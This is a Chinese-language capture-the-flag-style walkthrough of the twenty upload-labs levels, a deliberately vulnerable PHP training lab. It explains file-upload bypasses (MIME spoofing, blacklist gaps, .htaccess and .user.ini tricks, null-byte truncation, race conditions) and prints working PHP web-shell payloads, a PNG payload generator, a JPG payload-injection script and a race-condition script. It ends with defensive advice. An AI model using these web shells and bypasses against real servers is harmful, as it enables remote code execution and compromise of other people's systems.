upload-labs通关练习
目录
环境搭建
第一关
第二关
第三关
第四关
第五关
第六关
第七关
第八关
第九关
第十关
第十一关
第十二关
第十三关
第十四关
第十五关
第十六关
第十七关
第十八关
第十九关
第二十关
总结
环境搭建
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助网络攻防初学者对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
靶场链接:https://github.com/c0ny1/upload-labs/releases/tag/0.1
具体搭建参考过程如所示:https://blog.csdn.net/2302_80946742/article/details/137714313?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-137714313-blog-135903159.235^v43^pc_blog_bottom_relevance_base5&spm=1001.2101.3001.4242.1&utm_relevant_index=3
第一关
方法一 修改文件类型
该关卡是通过前端验证,前端验证通过之后再上传文件,上传文件的过程不进行过滤。所以我们可以先将PHP文件改为PNG,绕过前端JS验证,通过之后使用BurpSuite抓取上传文件的数据包,并将文件类型改为PHP继续上传。
先准备一句话木马如下,文件类型PNG
此后尝试上传文件,并且通过后台BurpSuite抓取上传文件的数据包,并将其进行修改。
对回显的图片右键可以获取图片地址,之后可以通过一些链接工具进行连接测试。由于是在本地搭建,通过查看路径发现文件已经上传成功。
方法二 前端禁用JS绕过
在游览器按F12打开页面审查,找到设置里面Disable JavaScript点击禁用。之后就可以上传PHP文件。
第二关
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
MIME 的组成结构非常简单,由类型与子类型两个字符串中间用 / 分隔而组成,不允许有空格。type 表示可以被分多个子类的独立类别,subtype 表示细分后的每个类型。MIME类型对大小写不敏感,但是传统写法都是小写。
这一关不再进行前端验证,通过查看提供的源码,我们发现他是一个在服务端对数据包的MIME进行验证,并且发现只对文件的Content-Type类型有限制:`if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {`:检查上传的文件是否为 JPEG、PNG 或 GIF 格式的图像文件。如果不是这些格式,会提示用户文件类型不正确并要求重新上传。
方法一 修改Content-Type类型
我们可以上传PHP文件,之后通过BurpSuite抓取上传文件的数据包,将Content-Type类型改为image/jpeg、image/png、image/gif(三种任选其一),重新发包。
方法二 修改上传文件类型
我们可以上传图片文件,之后通过BurpSuite抓取上传文件的数据包,将文件的后缀改为PHP即可。
第三关
通过直接上传PHP文件返回发现会提示黑名单,即扩展名检测机制,后端利用$_FILES()和strrchr()获取文件名后缀。由于是黑名单限制且名单不完整,其实可以采用一些方法绕过。比如在某些特定环境中某些特殊后缀仍会被当作php文件解析的扩展名有:php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml
。
通过分析源代码我们发现,代码修改了文件名称,生成一个新的文件路径,包括上传路径、当前时间戳和随机数以及文件后缀,以确保文件名的唯一性。但是由于可以直接在前端获取文件名称,所以这一步并没有对后续操作进行限制。
第四关
通过直接上传PHP文件返回发现会提示黑名单,即扩展名检测机制,和第三关不一样的是基本上限制了所有可用的文件类型。但是还有一种文件类型可以利用,即.htaccess
文件。
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。并且该文件的优先级比较高,甚至高于Apache的主要配置文件(httpd-conf)
创建.htaccess
文件代码如下,这个代码的作用是,如果当前目录下有.png
的文件,就会被解析为.php
,成功上传。
<FilesMatch ".png">
SetHandler application/x-httpd-php
</FilesMatch>
再上传一个一句话木马,文件名为 test.png,依旧访问 test.png,但其会以 PHP形式显示
第五关
通过查看源码发现依然是黑名单过滤,但是过滤的文件类型更加齐全,不能使用.htaccess
文件。由于本机环境是在Windows下进行的,所以此时就可以尝试使用大小写绕过限制上传文件,或者是使用`.user.ini
配置文件。
方法一 Windows大小写绕过
通过分析源码发现和之前几关相比,少了一段代码$file_ext = strtolower($file_ext); //转换为小写
在这行代码中,strtolower
函数被用于将变量$file_ext
所包含的字符串转化为全小写。所以可以修改PHP文件的后缀大小写从而实现绕过。大小写绕过原理:
Windows系统下,对于文件名中的大小写不敏感。例如:test.php和test.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和 test.PHP就是不一样的。
方法二 利用.user.ini
它比.htaccess 用的更广,不管服务器是 nginx/apache/IIS,当使用 CGI/FastCGI 来解析 php 时,php 会优先搜索目录下所有的.ini 文件,并应用其中的配置。
作用:特定用于用户或者特定目录的配置文件,通常位于Web应用程序的根目录下。
类似于 apache 的.htaccess,但语法与.htacces 不同,语法跟php.ini一致,并且.user.ini先级较高。
内容如下:
auto_prepend_file=test.png
再上传一个内容为 php 一句话脚本,命名为 test.png。.user.ini
文件作用:所有的 php 文件都自动包含 test.png文件。.user.ini
相当于一个用户自定义的 php.ini。但是由于当前环境不符合该条件,所以该方法不能进行测试。
注意应用前提是:
-
版本选择最好大于5.3.0,最好是7.x的版本;
-
并且Server API 为CGI/FastCGI;
-
.user.ini
可以生效,并且该目录下有PHP文件;
第六关
分析源代码我们发现,相比于之前的代码,次出少了部分内容$file_ext = trim($file_ext); //首尾去空
并没有对文件后缀名进行首尾去空的操作。这一行代码使用了PHP的trim
函数对变量$file_ext
所存储的字符串进行处理。trim
函数的作用是去除字符串首尾的空白字符(包括空格、换行符、制表符等),所以这里可以通过对文件后缀名末尾进行添加空格的方式来进行绕过。
Windows 系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
所以可以通过BurpSuite抓取上传文件的数据包,通过在文件名称后面添加空格来绕过判断。
第七关
通过对比前几关的源码,发现少了$file_name = deldot($file_name);//删除文件名末尾的点
。该代码主要是去除文件名后面的点。并且windows等系统默认删除文件后缀的.和空格,没有过滤点。
因为代码是通过拼接合成文件,使用$file_ext = strrchr($file_name, '.');
,通过查找文件名中最后一个点来获取文件后缀。并且之后对文件后缀进行大写转小写。之后随机文件名称 + 修改后的后缀拼接文件名称。所以我们可以通过BurpSuite抓取上传文件的数据包,在filename
最后面添加.
来将文件名称33.php
改为33.php.
。此时文件名称为33.php
,文件后缀为空。
第八关
通过分析源码,发现与之前相比发现少了对上传的文件后缀名为做去::$DATA 处理的过程,上传到服务器的文件在Windows中会自动去掉::$DATA。
利用Windows特性
-
在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。
-
例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
所以可以通过BurpSuite抓取上传文件的数据包,在filename
最后面添加::$DATA
来绕过检查文件后缀名称。
第九关
通过分析代码发现,将文件名进行过滤操作后,将文件名拼接在路径后面,所以需要绕过前面的首尾去空以及去点。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码首先获取文件全称,之后通过deldot函数删除文件末尾出现的点,之后会基于.
进行分割获取文件后缀。并且将后缀转小写、去除字符串::$DATA、首位去除空格。完成一系列操作之后会将文件名称存储到upload文件夹下。它只去掉一次空格
和点
,举个例:测试.php. .
最后代码执行完后变成 测试.php.
。所以可以构建$file_name=33.php
,即通过BurpSuite抓取上传文件的数据包,修改文件名称格式为点+php+点+空格+点
。
第十关
通过分析代码发现$file_name = str_ireplace($deny_ext,"", $file_name);
,利用str_ireplace()将文件名中符合黑名单的字符串替换成空。但是只替换了一次,所以可以尝试双写后缀绕过。
注意str_ireplace()函数一下特点:
-
该函数必须遵循下列规则:
-
如果搜索的字符串是一个数组,那么它将返回一个数组。
-
如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
-
如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
-
如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
注释:该函数不区分大小写。请使用 str_replace()函数来执行区分大小写的搜索。
-
基于以上规则修改文件类型,将原本33.php
,修改为33.pphphp
,进行测试。
第十一关
通过分析代码发现$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
:定义上传文件的目标路径,通过获取 URL 参数中的保存路径($_GET['save_path']
),并结合随机数、当前时间戳和文件后缀名生成唯一的文件名,所以可以通过控制文件路径,将其截断,将图片中的PHP代码存入其中。
通过BurpSuite抓取上传文件的数据包,修改设置save_path
参数内容为upload/test.php%00
,添加test.php%00
内容为了控制路径,上传文件后缀为白名单即可,上传一个文件后缀问白名单中的后缀的PHP文件。保存后为/upload/test.php%00*****.png
,但服务端读取到%00时会自动结束,将文件内容保存至test.php中。
PS:需要 php 的版本号低于 5.3.29,且 magic_quotes_gpc 为关闭状态。
第十二关
该关卡依然使用白名单限制上传文件类型,但上传文件的存放路径可控,但因为是 POST 型,需要在 16 进制中修改,因为 POST 不会像 GET 那样对%00 进行自动解码。
第十三关
分析代码getReailFileType()函数
function getReailFileType($filename){}:定义一个函数,用于获取文件的真实类型。
$file = fopen($filename, "rb");:以二进制只读模式打开文件。
$bin = fread($file, 2); //只读 2 字节:读取文件的前两个字节。
fclose($file);:关闭文件。
$strInfo = @unpack("C2chars", $bin);:将读取的两个字节解包为一个关联数组。
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);:将两个字节组合成一个整数,作为文件类型代码。
$fileType = '';:初始化文件类型变量。
switch($typeCode){...}:根据文件类型代码判断文件类型,并设置相应的文件类型字符串。
return $fileType;:返回文件类型。
通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文件类型,利用010 Editor变写图片内容为一句话木马从而绕过检测。并且后端会根据判断得到的文件类型重命名上传文件,之后通过文件包含漏洞进行连接。
常见图片文件二进制:
Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG
Jpg图片文件包括2字节:FF D8。
Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
Bmp图片文件包括2字节:42 4D。即为 BM
可以使用010 Editor查看图片马的内容
将这个文件上传到服务器之后,通过利用文件包含漏洞去包含这个图片文件以便于执行PHP代码。
第十四关
通过分析代码发现,代码首先定义了允许的图像文件类型扩展名的字符串 $types
。然后通过 file_exists
函数检查文件是否存在。如果存在,使用 getimagesize
函数获取文件的图像相关信息(如宽度、高度、图像类型等),接着通过 image_type_to_extension
函数将获取到的图像类型转换为对应的文件扩展名。最后通过 stripos
函数检查转换后的扩展名是否在允许的类型字符串中,如果是则返回该扩展名,否则返回 false
。如果文件不存在,也直接返回 false
。
图片马可以通过cmd直接制作命令格式为:copy logo.jpg/b+test.php/a test.png
logo.jpg为任意图片;test.php 插入的木马文件;test.jpg 生成的图片木马
之后在网页直接上传文件,利用文件包含漏洞进行包含图片,并且通过蚁剑连接。
第十五关
分析代码发现与之前的相比exif_imagetype()读取一个图像的第一个字节并检查其后缀名。返回值与getimage()函数返回的索引2相同,但是速度比getimage快,并且判断更加严格。
第十六关
通过分析代码发现,PHP 代码主要实现了一个图片文件上传及二次渲染展示的功能。它首先获取上传文件的相关信息,然后根据文件的后缀名和类型进行合法性验证,只有当后缀名与对应的 MIME 类型匹配(如.jpg
对应image/jpeg
等)时,才会将文件上传到指定路径。上传成功后,会基于上传的图片创建一个新的图片对象(根据不同的图片格式分别处理),并为新生成的图片指定一个随机文件名,最后将二次渲染后的新图片保存到指定路径,同时删除原始上传的文件。整个过程中会根据不同的操作结果设置相应的提示信息和上传状态标志。但是二次渲染并不会将所有16进制都改变,有部分16进制可能不会改变。
简单的判断有无二次渲染:将上传后的图片下载下来查看图片属性,是否水平分辨率和垂直分辨率的数值发生了变换,和图片大小是否变化。如果变化就存在二次渲染。
可以尝试上传一个 GIF 图片马(GIF格式比较容易成功),然后将其下载下来,查看其十六进制的文件内容,找到二次渲染后不变的地方,而这个地方就是可以插入一句话木马的地方。
之后找比较靠后的代码插入一句话木马,可以多尝试几次找位置,有些位置容易失败。一般情况下,修改后仍然可以显示图片内容。
找到位置之后,上传并且通过文件包含漏洞包含文件进行连接。
至于其他格式的图片类型比较麻烦,需要借助脚本进行修改。
PNG的二次渲染的绕过并不能像gif那样简单,而PNG文件组成是由3个以上的数据块组成。PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。
字 段 名 | 大小(单位:字节) | 描 述 |
---|---|---|
Length(长度) | 4 | 指定数据块中的数据长度 |
Chunk Type Code(数据块类型码) | 4 | 数据块类型,例如:IHDR、PLTE、IDAT等 |
Chunk Data(数据块数据) | Length | 存储数据 |
CRC(循环冗余检测) | 24 | 循环冗余码 |
并且如果依然按照GIF的方法,可能有点困难。只有少部分内容会相同。所有这就可以使用一些编写好的脚本,脚本生成的图片中的一句话木马为:<?=$_GET[0]($_POST[1]);?>
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
至于JPG文件,可以尝试GIF的方法进行。但是由于图片格式脆弱,尽量使用一些脚本减少时间成本。但是尝试过很多JPG图片都无法成功写入一句话连接木马,复用别人的JPG图片也只能写入peyload:<?=phpinfo();?>
,似乎无法写入用于连接的一句话木马。
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>"; /* 此处是就是payload */
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
第十七关
通过分析代码发现,先使用 move_uploaded_file($temp_file, $upload_file)
尝试将临时文件移动到指定的最终保存路径 $upload_file
。如果移动成功之后会检查上传文件的扩展名是否在允许的扩展名数组中。如果在允许范围内,则会生成一个新的随机文件名将文件重命名为新的文件名,其中文件名的组成是随机两位数字、当前日期时间以及原始文件的扩展名。
由于是先上传文件到服务器,之后再判断文件是否符合条件。所以可以通过条件竞争的方式在删除不合规文件之前,访问 webshell从而生成一句话木马再上级目录。
所以先构建payload内容如下
<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
/* 在上级目录生成shell.php一句话木马,内容为<?php @eval($_POST["cmd"]) ?> */
?>
之后通过上传这个payload,并通过BurpSuite抓取上传payload的数据包,将其传入到BurpSuite的Intruder模块。之后选择Null payloads
并勾选无限重放,除此之外最好设置多线程重放,增加条件竞争成功的可能性。
之后需要准备一个脚本不断去访问这个文件,我是通过python编写的脚本。因为脚本访问速度快,比人工点击成功率高。
import requests
url = "http://127.0.0.1/upload/webshell.php" #上传payload的路径
while True:
html = requests.get(url)
if html.status_code == 200:
print("YES,you upload it!")
else:
print("NO")
之后同时运行两个脚本进行竞争,当出现YES,you upload it!
就表示上传webshell成功,可以尝试去上级目录对一句话木马进行连接。
第十八关
通过分析源代码发现后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,然后再不断通过include.php不断包含上传的文件(注意上传后的文件名:uploadxxx.jpg)从而从而生成木马。
本次需要通过当BurpSuite抓取include.php包含上传的文件的数据包进行不断发包,从而执行webshell。所以需要抓两个数据包同时进行,一个上传aa.png的数据包,一个include包含文件的数据包,
竞争成功之后,测试连接。
第十九关
分析代码发现,使用 pathinfo($file_name,PATHINFO_EXTENSION)的方式检查文件名后缀(从最后一个小数点进行截取)。
并且如果在文件后缀再加一个".",输出结果就会发生改变。
由于使用的是黑名单方式,但是没有对上传的文件做判断,只是对用户输入的文件名做判断,使上传的文件名用户可控。
move_uploaded_file()会忽略掉文件末尾的 /.,主要作用是将临时文件移到指定的目标路径,并确保文件在移动中不会被删除或覆盖。
所以我们可以直接上传一句话木马,之后通过BurpSuite抓取上传文件数据包并且在文件名后缀加一个小数点绕过 ,上传成功可以直接进行连接。
第二十关
通过分析代码可以得到一些限制条件如下:
-
定义了一个允许的 MIME 类型数组限定为
image/jpeg
、image/png
和image/gif
三种常见的图片文件的 MIME 类型。然后检查上传文件的 MIME 类型是否在允许的类型数组中。如果不在允许范围内,就直接返回禁止上传该类型文件的提示信息。 -
接着判断获取到的文件名是否为数组,如果不是数组,就将文件名按照点(
.
)进行拆分,得到一个包含文件名各部分的数组(例如,对于文件名example.jpg
,拆分后得到数组['example', 'jpg']
)。 -
定义一个允许的后缀数组同样限定为
jpg
、png
和gif
。通过检查文件名的后缀(通过end($file)
获取数组中的最后一个元素)是否在允许的后缀数组中。如果不在允许范围内,就直接返回禁止上传该后缀文件的提示信息。
出现漏洞的点在于$file_name = reset($file) . '.' . $file[count($file) - 1];
和$ext = end($file);
的差异。因为count()
函数是输出的有效元素的数量,end()
函数是输出数组的最后一个。
所以对于数组 $file
,如果传入$file[0]=webshell.php并且$file[3]=png
,此时就出现问题。此时的end($file)=png
并且$file[count($file) - 1]=$file=count(3-1)=$file(2)=NULL
,所以在文件名称拼接的时候,就没有后缀拼接。新的文件名称就是webshell.php。而end($file)=png
绕过了文件后缀的检查。
所以需要对照限制条件逐一进行绕过,通过BurpSuite抓取上传文件数据包(一句话木马的PHP文件进行修改)
-
因为检测上传文件的 MIME 类型,并且是直接上传PHP文件。所以需要修改
Content-Type: image/png
,这里按照PNG进行测试。 -
修改数组中
save_name[0]
的名称,让其值为upload-20.php
-
新增数组元素
save_name[3]
,让其值为png
。(符合限制条件即可)
总结
通过学习这个文件上传靶场,将之前学习的理论知识转化吸收了部分。学了常用靶场的攻击方式,我总结了部分的防御方法,欢迎大家补充。
-
检验扩展名是否在范围内,即使用白名单过滤;
-
图像文件的情况下确认其文件头为图像类型,而不是伪装文件;
-
针对上传文件大小进行约定(防止上传大文件进行 DDOS 攻击);
-
服务器端验证(防止前端绕过),重新渲染图片,但是只有前端的限制是非常不安全的,非常容易被绕过;
-
件MIME验证,比如GIF图片MIME为image/gif,CSS文件的MIME为text/css等。
-
上传的文件重命名,把文件地址隐藏了;
-
检查文件上传路径,避免0x00截断、IIS6.0文件夹解析漏洞、目录遍历。
-
文件内容检测,避免图片中插入webshell。
-
及时更新web服务器版本和采用安全稳定版本的PHP;